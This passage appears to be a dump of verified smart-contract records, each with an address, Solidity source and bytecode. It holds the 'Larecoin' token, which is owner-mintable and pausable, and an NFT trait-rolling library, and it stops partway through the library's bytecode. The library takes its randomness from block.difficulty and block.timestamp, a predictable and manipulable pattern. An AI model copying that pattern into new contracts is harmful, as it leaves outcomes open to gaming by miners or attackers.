265627a7a7231582076c49f370e3d1919e900f4dd5751d81cc9071729dc7622883c5421189789ca2564736f6c63430005110032
{"success": true, "error": null, "results": {}}
7,413
0x99c6cd889570ea5f12d7bab9b8d690e78f7181a5
/** *Submitted for verification at BscScan.com on 2021-05-28 */ pragma solidity ^0.4.11; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused returns (bool) { paused = true; Pause(); return true; } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused returns (bool) { paused = false; Unpause(); return true; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint _value) whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } } contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specified amount of tokens. * @param _value The amount of tokens to burn. */ function burn(uint256 _value) public { require(_value > 0); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(msg.sender, _value); } } contract LAREToken is BurnableToken, PausableToken, MintableToken { string public constant symbol = "LARE"; string public constant name = "Larecoin"; uint8 public constant decimals = 18; function burn(uint256 _value) whenNotPaused public { super.burn(_value); } }
0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461010157806306fdde0314610130578063095ea7b3146101c057806318160ddd1461022557806323b872dd14610250578063313ce567146102d55780633f4ba83a1461030657806340c10f191461033557806342966c681461039a5780635c975abb146103c757806370a08231146103f65780637d64bcb41461044d5780638456cb591461047c5780638da5cb5b146104ab57806395d89b4114610502578063a9059cbb14610592578063dd62ed3e146105f7578063f2fde38b1461066e575b600080fd5b34801561010d57600080fd5b506101166106b1565b604051808215151515815260200191505060405180910390f35b34801561013c57600080fd5b506101456106c4565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018557808201518184015260208101905061016a565b50505050905090810190601f1680156101b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cc57600080fd5b5061020b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106fd565b604051808215151515815260200191505060405180910390f35b34801561023157600080fd5b5061023a610884565b6040518082815260200191505060405180910390f35b34801561025c57600080fd5b506102bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061088a565b604051808215151515815260200191505060405180910390f35b3480156102e157600080fd5b506102ea6108bc565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031257600080fd5b5061031b6108c1565b604051808215151515815260200191505060405180910390f35b34801561034157600080fd5b50610380600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610988565b604051808215151515815260200191505060405180910390f35b3480156103a657600080fd5b506103c560048036038101908080359060200190929190505050610b0a565b005b3480156103d357600080fd5b506103dc610b32565b604051808215151515815260200191505060405180910390f35b34801561040257600080fd5b50610437600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b45565b6040518082815260200191505060405180910390f35b34801561045957600080fd5b50610462610b8e565b604051808215151515815260200191505060405180910390f35b34801561048857600080fd5b50610491610c3a565b604051808215151515815260200191505060405180910390f35b3480156104b757600080fd5b506104c0610d02565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561050e57600080fd5b50610517610d28565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561055757808201518184015260208101905061053c565b50505050905090810190601f1680156105845780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561059e57600080fd5b506105dd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d61565b604051808215151515815260200191505060405180910390f35b34801561060357600080fd5b50610658600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d91565b6040518082815260200191505060405180910390f35b34801561067a57600080fd5b506106af600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e18565b005b600360159054906101000a900460ff1681565b6040805190810160405280600881526020017f4c617265636f696e00000000000000000000000000000000000000000000000081525081565b60008082148061078957506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b151561079457600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b6000600360149054906101000a900460ff161515156108a857600080fd5b6108b3848484610eef565b90509392505050565b601281565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561091f57600080fd5b600360149054906101000a900460ff16151561093a57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a16001905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109e657600080fd5b600360159054906101000a900460ff16151515610a0257600080fd5b610a178260005461119f90919063ffffffff16565b600081905550610a6f82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461119f90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a26001905092915050565b600360149054906101000a900460ff16151515610b2657600080fd5b610b2f816111bd565b50565b600360149054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bec57600080fd5b6001600360156101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c9857600080fd5b600360149054906101000a900460ff16151515610cb457600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f4c4152450000000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff16151515610d7f57600080fd5b610d8983836112d2565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e7457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515610eec5780600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b600080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610fc383600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461119f90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061105883600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461146d90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110ae838261146d90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b60008082840190508381101515156111b357fe5b8091505092915050565b600080821115156111cd57600080fd5b33905061122282600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461146d90919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061127a8260005461146d90919063ffffffff16565b6000819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b600061132682600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461146d90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113bb82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461119f90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082821115151561147b57fe5b8183039050929150505600a165627a7a723058202e0eab3b7603b54fd990252de3ed2e652855c1fafc68444010474356c4e426e60029
{"success": true, "error": null, "results": {}}
7,414
0x78D8662d39EF58393e1b8B7FB1b116445090E4D2
// SPDX-License-Identifier: MIT pragma solidity ^0.8.10; library GenesisTraitFactory { uint constant public NUM_TRAITS = 9; uint constant public MAX_LENGTH = 40; function roll(uint seed, uint nonce) external view returns(uint[NUM_TRAITS] memory){ uint[NUM_TRAITS] memory traits; uint[MAX_LENGTH][4][NUM_TRAITS] memory genes; uint[2][2] memory races; races[0] = [uint(1), 2]; races[1] = [uint(50), 100]; genes[1][0] = [uint(0), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23]; genes[1][1] = [uint(0), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23]; genes[1][2] = [uint(0), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 120, 240, 360, 480, 600, 680, 790, 870, 950, 1026, 1136, 1240, 1350, 1460, 1570, 1680, 1720, 1760, 1840, 1870, 1925, 1980, 2000]; genes[1][3] = [uint(0), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 120, 240, 360, 480, 600, 680, 790, 870, 950, 1026, 1136, 1240, 1350, 1460, 1570, 1680, 1720, 1760, 1840, 1870, 1925, 1980, 2000]; genes[2][0] = [uint(0), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15]; genes[2][1] = [uint(0), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15]; genes[2][2] = [uint(0), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 50, 62, 72, 76, 90, 104, 118, 132, 146, 158, 172, 181, 189, 197, 198, 200]; genes[2][3] = [uint(0), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 50, 62, 72, 76, 90, 104, 118, 132, 146, 158, 172, 181, 189, 197, 198, 200]; genes[3][0] = [uint(0), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 4, 5, 6, 9, 11]; genes[3][1] = [uint(0), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 3, 7, 8, 10]; genes[3][2] = [uint(0), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 34, 50, 57, 81, 88, 90]; genes[3][3] = [uint(0), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 20, 35, 45, 50, 55]; genes[4][0] = [uint(0), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 5, 9, 10, 11, 12, 13, 14, 15, 16, 18, 20, 21, 22, 23, 24]; genes[4][1] = [uint(0), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 17, 19, 20, 21, 22, 23, 24, 25]; genes[4][2] = [uint(0), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 15, 30, 45, 55, 61, 67, 74, 80, 86, 94, 98, 102, 104, 108, 114, 120, 124, 125]; genes[4][3] = [uint(0), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 35, 45, 55, 65, 75, 81, 87, 94, 100, 106, 110, 116, 118, 122, 128, 134, 138, 139, 141]; genes[5][0] = [uint(0), 0, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37]; genes[5][1] = [uint(0), 0, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37]; genes[5][2] = [uint(0), 0, 30, 55, 73, 113, 153, 193, 238, 268, 288, 318, 333, 373, 418, 458, 488, 533, 563, 603, 643, 688, 708, 753, 768, 793, 818, 843, 873, 890, 910, 935, 955, 980, 982, 984, 986, 988, 990, 1000]; genes[5][3] = [uint(0), 0, 30, 55, 73, 113, 153, 193, 238, 268, 288, 318, 333, 373, 418, 458, 488, 533, 563, 603, 643, 688, 708, 753, 768, 793, 818, 843, 873, 890, 910, 935, 955, 980, 982, 984, 986, 988, 990, 1000]; genes[6][0] = [uint(0), 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33]; genes[6][1] = [uint(0), 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33]; genes[6][2] = [uint(0), 0, 0, 0, 0, 0, 0, 8, 16, 19, 23, 31, 39, 47, 52, 54, 60, 62, 70, 76, 84, 92, 98, 104, 110, 116, 123, 129, 135, 143, 148, 153, 160, 168, 174, 179, 185, 187, 192, 200]; genes[6][3] = [uint(0), 0, 0, 0, 0, 0, 0, 8, 16, 19, 23, 31, 39, 47, 52, 54, 60, 62, 70, 76, 84, 92, 98, 104, 110, 116, 123, 129, 135, 143, 148, 153, 160, 168, 174, 179, 185, 187, 192, 200]; genes[7][0] = [uint(0), 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40]; genes[7][1] = [uint(0), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 6, 11, 13, 14, 15, 16, 17, 18, 19, 20, 21, 24, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40]; genes[7][2] = [uint(290), 310, 316, 436, 556, 676, 756, 796, 876, 1036, 1066, 1096, 1176, 1276, 1316, 1356, 1396, 1456, 1536, 1576, 1616, 1696, 1726, 1766, 1796, 1826, 1856, 1876, 1882, 1892, 1898, 1905, 1921, 1930, 1934, 1938, 1942, 1946, 1950, 1970]; genes[7][3] = [uint(0), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 290, 296, 376, 406, 506, 546, 586, 626, 686, 766, 806, 846, 926, 956, 986, 1006, 1012, 1022, 1028, 1035, 1051, 1060, 1064, 1068, 1072, 1076, 1080, 1100]; genes[8][0] = [uint(0), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22]; genes[8][1] = [uint(0), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22]; genes[8][2] = [uint(0), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 690, 710, 730, 750, 770, 790, 810, 815, 835, 855, 875, 890, 905, 925, 945, 965, 967, 969, 971, 973, 975, 985, 1000]; genes[8][3] = [uint(0), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 690, 710, 730, 750, 770, 790, 810, 815, 835, 855, 875, 890, 905, 925, 945, 965, 967, 969, 971, 973, 975, 985, 1000]; uint randomSeed = uint(keccak256(abi.encodePacked(block.difficulty, seed, block.timestamp, nonce++))); uint r; for (uint i = 0; i < races[1].length; i++) { if (randomSeed % races[1][1] < races[1][i]) { r = i; traits[0] = races[0][i]; break; } } for (uint i = 1; i < NUM_TRAITS; i++) { randomSeed = uint(keccak256(abi.encodePacked(block.difficulty, randomSeed, block.timestamp, nonce++))); uint traitSeed = randomSeed % genes[i][2+r][MAX_LENGTH-1]; for (uint j = 0; j < MAX_LENGTH; j++) { if (traitSeed < genes[i][2+r][j]) { traits[i] = genes[i][r][j]; break; } } } if (traits[6] == 3 || traits[6] == 21 || traits[6] == 22 || traits[6] == 28) { traits[4] = 0; } if (traits[7] == 28 || traits[7] == 29 || traits[7] == 31 || traits[7] == 33) { traits[5] = 0; } if (traits[7] == 32 || traits[7] == 36 || traits[7] == 37) { traits[4] = 0; traits[6] = 0; } if (traits[7] == 40) { traits[4] = 0; traits[5] = 0; traits[6] = 0; } return traits; } }
0x7378d8662d39ef58393e1b8b7fb1b116445090e4d2301460806040526004361061004b5760003560e01c8063454836ad146100505780636ec9b8971461006b578063a6f9885c1461008b575b600080fd5b610058600981565b6040519081526020015b60405180910390f35b61007e610079366004612e83565b610093565b6040516100629190612ea5565b610058602881565b61009b612d9f565b6100a3612d9f565b6100ab612dbe565b6100b3612dec565b60408051808201825260018082526002602080840191909152918452825180840190935260328352606491830191909152829060200201819052506040518061050001604052806000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600181526020016002815260200160038152602001600481526020016005815260200160068152602001600781526020016008815260200160098152602001600a8152602001600b8152602001600c8152602001600d8152602001600e8152602001600f81526020016010815260200160118152602001601281526020016013815260200160148152602001601581526020016016815260200160178152508260016009811061022357610223612ed7565b6020020151600060200201819052506040518061050001604052806000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600181526020016002815260200160038152602001600481526020016005815260200160068152602001600781526020016008815260200160098152602001600a8152602001600b8152602001600c8152602001600d8152602001600e8152602001600f81526020016010815260200160118152602001601281526020016013815260200160148152602001601581526020016016815260200160178152508260016009811061036757610367612ed7565b60200201516001602002018190525060405180610500016040528060008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016078815260200160f0815260200161016881526020016101e0815260200161025881526020016102a88152602001610316815260200161036681526020016103b68152602001610402815260200161047081526020016104d8815260200161054681526020016105b48152602001610622815260200161069081526020016106b881526020016106e08152602001610730815260200161074e815260200161078581526020016107bc81526020016107d0815250826001600981106104c0576104c0612ed7565b60200201516002602002018190525060405180610500016040528060008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016078815260200160f0815260200161016881526020016101e0815260200161025881526020016102a88152602001610316815260200161036681526020016103b68152602001610402815260200161047081526020016104d8815260200161054681526020016105b48152602001610622815260200161069081526020016106b881526020016106e08152602001610730815260200161074e815260200161078581526020016107bc81526020016107d08152508260016009811061061957610619612ed7565b60200201516003602002018190525060405180610500016040528060008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600181526020016002815260200160038152602001600481526020016005815260200160068152602001600781526020016008815260200160098152602001600a8152602001600b8152602001600c8152602001600d8152602001600e8152602001600f8152508260026009811061075d5761075d612ed7565b60200201516000602002018190525060405180610500016040528060008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600181526020016002815260200160038152602001600481526020016005815260200160068152602001600781526020016008815260200160098152602001600a8152602001600b8152602001600c8152602001600d8152602001600e8152602001600f815250826002600981106108a1576108a1612ed7565b60200201516001602002018190525060405180610500016040528060008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160328152602001603e815260200160488152602001604c8152602001605a815260200160688152602001607681526020016084815260200160928152602001609e815260200160ac815260200160b5815260200160bd815260200160c5815260200160c6815260200160c8815250826002600981106109e5576109e5612ed7565b60200201516002602002018190525060405180610500016040528060008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160328152602001603e815260200160488152602001604c8152602001605a815260200160688152602001607681526020016084815260200160928152602001609e815260200160ac815260200160b5815260200160bd815260200160c5815260200160c6815260200160c881525082600260098110610b2957610b29612ed7565b602002015160036020020181905250604051806105000160405280600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016002815260200160048152602001600581526020016006815260200160098152602001600b81525082600360098110610c6d57610c6d612ed7565b6020020151600060200201819052506040518061050001604052806000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020